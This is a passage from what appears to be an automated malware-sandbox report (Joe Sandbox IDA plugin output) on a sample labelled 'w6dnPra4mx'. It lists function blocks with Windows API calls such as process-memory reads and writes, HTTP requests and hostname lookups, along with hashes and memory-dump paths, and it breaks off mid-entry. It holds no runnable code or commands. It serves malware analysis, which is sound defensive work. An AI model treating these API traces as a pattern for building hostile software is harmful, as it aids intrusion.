                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CloseCurrentExitFindHandleImageNonwritableSectionThread__freeptd__getptd_noexit
                              • String ID:
                              • API String ID: 3798957060-0
                              • Opcode ID: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
                              • Instruction ID: 5ad9b57b40d8b41da6f03c32f2a15b2799e0bbfe2e5ad1689210a27a588f1b2a
                              • Opcode Fuzzy Hash: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
                              • Instruction Fuzzy Hash: 29E01A31501A1197C2212BB9AC097DE3255AF01F36F944A6EF81A952A0DB6CD98147AD
                              APIs
                                • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                              • ___set_flsgetvalue.LIBCMT ref: 00415690
                                • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                              • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                              • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                              • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                              • ExitThread.KERNEL32 ref: 004156BD
                              • __freefls@4.LIBCMT ref: 004156D9
                              • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                              • String ID:
                              • API String ID: 1537469427-0
                              • Opcode ID: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
                              • Instruction ID: 6f4b581ce684dac4bce1a6396b1ab204a3b2196504341234b7a244e47b3a25b0
                              • Opcode Fuzzy Hash: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
                              • Instruction Fuzzy Hash: 83E0E6308003096BCF0037F29E1A9DF392DAD41389B52841E7E14B2122DE6DD9D1466D
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _malloc
                              • String ID: Default$|k
                              • API String ID: 1579825452-2254895183
                              • Opcode ID: 404d7240c4bb856f681ff9cdf52c8ed6758caabbd7f7f5126ad75ded5c77f63b
                              • Instruction ID: 39a525bc613f0e7e9485e4ea944b13d532e73913c0a35fc25f8fa2b96209a7b9
                              • Opcode Fuzzy Hash: 404d7240c4bb856f681ff9cdf52c8ed6758caabbd7f7f5126ad75ded5c77f63b
                              • Instruction Fuzzy Hash: 51F19F706083018BD714DF25C484A6BB7E5AF85314F64886FF885AB392D738EC55CB9B
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _memcmp
                              • String ID: '$[$h
                              • API String ID: 2931989736-1224472061
                              • Opcode ID: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
                              • Instruction ID: c2eec353cbd26a418970a1643da97c958d9efd09d44d369c5aec2a2e92b02032
                              • Opcode Fuzzy Hash: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
                              • Instruction Fuzzy Hash: EBE1B3756083858FE725CF28C8807ABBBE1FFC9304F18896EE89587341D7799849CB56
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _strncmp
                              • String ID: >$R$U
                              • API String ID: 909875538-1924298640
                              • Opcode ID: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
                              • Instruction ID: f6794502b7c89560a677b30a08de70cb8bc1b17d125f16f135907c58c8460d8d
                              • Opcode Fuzzy Hash: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
                              • Instruction Fuzzy Hash: 46E19C745083818FEB25CF29C49076BBBE1EFD9304F28496EE89587381D378E849CB56
                              APIs
                                • Part of subcall function 00442C52: _wcslen.LIBCMT ref: 00442C82
                              • CoInitialize.OLE32(00000000), ref: 0046CE18
                              • CoCreateInstance.OLE32(00482A50,00000000,00000001,004828B0,?), ref: 0046CE31
                              • CoUninitialize.OLE32 ref: 0046CE50
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CreateInitializeInstanceUninitialize_wcslen
                              • String ID: .lnk
                              • API String ID: 886957087-24824748
                              • Opcode ID: cf95cfa125c39178dc1728bd48ca6ee468afe444b27fb378bb5b47a8cf5920ff
                              • Instruction ID: 09ec1e36491b9dee8eccbfa157b0fc1a83632a56aae6c10d58f94140378ad3aa
                              • Opcode Fuzzy Hash: cf95cfa125c39178dc1728bd48ca6ee468afe444b27fb378bb5b47a8cf5920ff
                              • Instruction Fuzzy Hash: D3A1ABB5A042019FC704EF64C980E6BB7E9EF88714F14895EF8849B392D735EC45CBA6
                              Strings
                              • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00469C37
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _wcslen
                              • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                              • API String ID: 176396367-557222456
                              • Opcode ID: 6ed3ee7040cf52f7c8cf58c24b37417f7719ae2cfab6dfb5b0d2deafceea8a2b
                              • Instruction ID: 5ec49088f7a0f5eff408c40ec761cfb1cab3d77d8e9f1d748350f88cc39ab646
                              • Opcode Fuzzy Hash: 6ed3ee7040cf52f7c8cf58c24b37417f7719ae2cfab6dfb5b0d2deafceea8a2b
                              • Instruction Fuzzy Hash: 2C818F715183009FC310EF65C88186BB7E8AF85714F408A2FF5959B2A2E778ED45CB9B
                              APIs
                                • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                              • VariantInit.OLEAUT32(00000000), ref: 0042D2E0
                              • VariantCopy.OLEAUT32(?,?), ref: 0042D2EE
                              • VariantClear.OLEAUT32(00000000), ref: 0042D2FF
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Variant$ClearCopyInit_malloc
                              • String ID: 4RH
                              • API String ID: 2981388473-749298218
                              • Opcode ID: 729bbe064e017370016cbbe449625b34bf86d2465771c793fde470bd13ce78dc
                              • Instruction ID: 2430bd0654d197d786bc988f6f01769df72c779a088326c60667d263ff95ce9f
                              • Opcode Fuzzy Hash: 729bbe064e017370016cbbe449625b34bf86d2465771c793fde470bd13ce78dc
                              • Instruction Fuzzy Hash: CC913874A083519FC720CF29D480A1AB7E1FF89304F64892EE999DB351D774EC85CB96
                              APIs
                                • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                              • __wcsnicmp.LIBCMT ref: 0046681A
                              • WNetUseConnectionW.MPR(00000000,?,00000000,?,00000000,?,00000000,?), ref: 004668B9
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Connection__wcsnicmp_wcscpy_wcslen
                              • String ID: LPT$HH
                              • API String ID: 3035604524-2728063697
                              • Opcode ID: 4168d29b7d0848dc605f9ce781fdb6688c60699af114ee795911c582be7b9077
                              • Instruction ID: 32c7950bcbaa764ae6d62266904c1b9f72d26d84b6ae022b5f72856ccecd4d84
                              • Opcode Fuzzy Hash: 4168d29b7d0848dc605f9ce781fdb6688c60699af114ee795911c582be7b9077
                              • Instruction Fuzzy Hash: 2151D5B16043009FC720EF65C881B1BB7E5AF85704F11491EFA859B382E779ED49C79A
                              APIs
                                • Part of subcall function 004374AF: WriteProcessMemory.KERNEL32(?,?,00000000,00000000,00000000,?,00461142,?), ref: 004374E2
                              • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00438AB8
                                • Part of subcall function 00437472: ReadProcessMemory.KERNEL32(?,00000000,00000000,?,00000000,00000000,00460C33,?,00000000,?,00000202), ref: 004374A5
                              • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00438B2F
                              • SendMessageW.USER32(00000000,00001111,00000000,00000000), ref: 00438BAF
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$MemoryProcess$ReadWrite
                              • String ID: @
                              • API String ID: 4055202900-2766056989
                              • Opcode ID: 95f302c56ad406a71ba46a757bfca5032ac46bd5be6e99a0861c43b96ce9d769
                              • Instruction ID: 682097a2b5231093ce935cfc9f6f49684b756042c0be5430c67da702d62f7190
                              • Opcode Fuzzy Hash: 95f302c56ad406a71ba46a757bfca5032ac46bd5be6e99a0861c43b96ce9d769
                              • Instruction Fuzzy Hash: E6518FB2208304ABD310DB64CC81FEFB7A9EFC9714F04591EFA8597181D678F9498B66
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CrackInternet_memset_wcslen
                              • String ID: |
                              • API String ID: 915713708-2343686810
                              • Opcode ID: 49a329c21d3e2b60aa9c34259f3774bde857317d5b4f329263fe64f76368b085
                              • Instruction ID: 59fb16093b155e5aebf0565036b17e76eaaa1a90c891d08183ce313382d628e9
                              • Opcode Fuzzy Hash: 49a329c21d3e2b60aa9c34259f3774bde857317d5b4f329263fe64f76368b085
                              • Instruction Fuzzy Hash: AE417EB2754301ABD204EF69DC81B9BF7E8FB88714F00052EF64593290DB75E909CBA6
                              APIs
                              • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0044A7FE
                              • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044A851
                              • HttpQueryInfoW.WININET ref: 0044A892
                                • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Http$ErrorInfoInternetLastOpenQueryRequestSend
                              • String ID:
                              • API String ID: 3705125965-3916222277
                              • Opcode ID: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                              • Instruction ID: e2ea4e726a01332d61d4ddbc0b4be6fd5f15ca60b5c099a75bcf819f780d651a
                              • Opcode Fuzzy Hash: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                              • Instruction Fuzzy Hash: F431C6B56813416BE320EB16DC42F9FB7E8EFD9714F00091FF65057281D7A8A50D876A
                              APIs
                              • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00450A84
                              • GetWindowLongW.USER32(?,000000F0), ref: 00450AA2
                              • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00450AB3
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window$Long
                              • String ID: SysTreeView32
                              • API String ID: 847901565-1698111956
                              • Opcode ID: 8beaa76caf08e9d8622144d4cb1fe8de975b1c4a0fa94bb7914df260c0b4a9df
                              • Instruction ID: 1ec52148e0427fd314aa46f8515fbaae5756f8dde681787cc4d1a4a364837cef
                              • Opcode Fuzzy Hash: 8beaa76caf08e9d8622144d4cb1fe8de975b1c4a0fa94bb7914df260c0b4a9df
                              • Instruction Fuzzy Hash: 9831E670244301AFE710DB64CC84B6BB3E8EF98325F104A1EF9A5932D1D7B8AD85CB25
                              APIs
                              • DestroyWindow.USER32(00000000,004A83D8,00000000,?,?), ref: 00450C60
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: DestroyWindow
                              • String ID: msctls_updown32
                              • API String ID: 3375834691-2298589950
                              • Opcode ID: 2a2b7300f3f0896f723b2acc27284ae87319393b418436251cb0663837fc8f9c
                              • Instruction ID: 6a1e1189e42626fde14bc74b9d87f1f450c181bb0fe7a510af516aef360d3f61
                              • Opcode Fuzzy Hash: 2a2b7300f3f0896f723b2acc27284ae87319393b418436251cb0663837fc8f9c
                              • Instruction Fuzzy Hash: CE31A279300201AFD624DF54DC81F5B73A9EB9A714F20451EF640AB382C7B4AC4ACB6A
                              APIs
                              • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 0045122A
                              • SendMessageW.USER32(00000000,00000186,00000000,00000000), ref: 00451238
                              • MoveWindow.USER32(?,?,00000000,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 0045125D
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$MoveWindow
                              • String ID: Listbox
                              • API String ID: 3315199576-2633736733
                              • Opcode ID: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                              • Instruction ID: bfe1e9b3800f224edd0053b2d0d87a77da448e7bf5b17050dc61905274d7532a
                              • Opcode Fuzzy Hash: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                              • Instruction Fuzzy Hash: E421D3712043047BE6209A65DC81F6BB3E8EBCD735F104B1EFA60A72D1C675EC458729
                              APIs
                              • SetErrorMode.KERNEL32(00000001), ref: 0045D243
                              • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D2C7
                              • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D30C
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ErrorMode$InformationVolume
                              • String ID: HH
                              • API String ID: 2507767853-2761332787
                              • Opcode ID: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
                              • Instruction ID: 4a708fd112bc3492f79fb502a293ca5b83a6a9b53d4ab80d782c21126568c1ab
                              • Opcode Fuzzy Hash: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
                              • Instruction Fuzzy Hash: 622148756083019FC310EF55D944A6BB7E4FF88704F40882EFA45972A2D774E909CB5A
                              APIs
                              • SetErrorMode.KERNEL32(00000001), ref: 0045D44A
                              • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D4CE
                              • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D502
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ErrorMode$InformationVolume
                              • String ID: HH
                              • API String ID: 2507767853-2761332787
                              • Opcode ID: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
                              • Instruction ID: 8e4373afe1f51974a95c06a3ae407364d3098df30383bdf5f9e51316f0e0b5c8
                              • Opcode Fuzzy Hash: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
                              • Instruction Fuzzy Hash: 902137756083019FC314EF55D944A5AB7E8FF88710F40882EFA49972A2D778E909CB9A
                              APIs
                              • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00450D74
                              • SendMessageW.USER32(00000000,00000406,00000000,00640000), ref: 00450D8A
                              • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00450D98
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend
                              • String ID: msctls_trackbar32
                              • API String ID: 3850602802-1010561917
                              • Opcode ID: e14717e3cb06623c4553287ca90ea840a6fcf4d017620d4062bb11778db8dfcd
                              • Instruction ID: c83169f0c5ec68c29a3e9aa847b4a28030a04f73c00385235601d1c9d4ce90e2
                              • Opcode Fuzzy Hash: e14717e3cb06623c4553287ca90ea840a6fcf4d017620d4062bb11778db8dfcd
                              • Instruction Fuzzy Hash: 4F1193717403117BE610CAA8DC81F5B73E8AB98B25F204A1AFA50A72C1D2B4FC458B68
                              APIs
                                • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                              • gethostbyname.WSOCK32(?,00000000,?,?), ref: 0046BD78
                              • WSAGetLastError.WSOCK32(00000000,?,?,00000000,?,?), ref: 0046BD83
                              • inet_ntoa.WSOCK32(00000000,?), ref: 0046BDCD
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
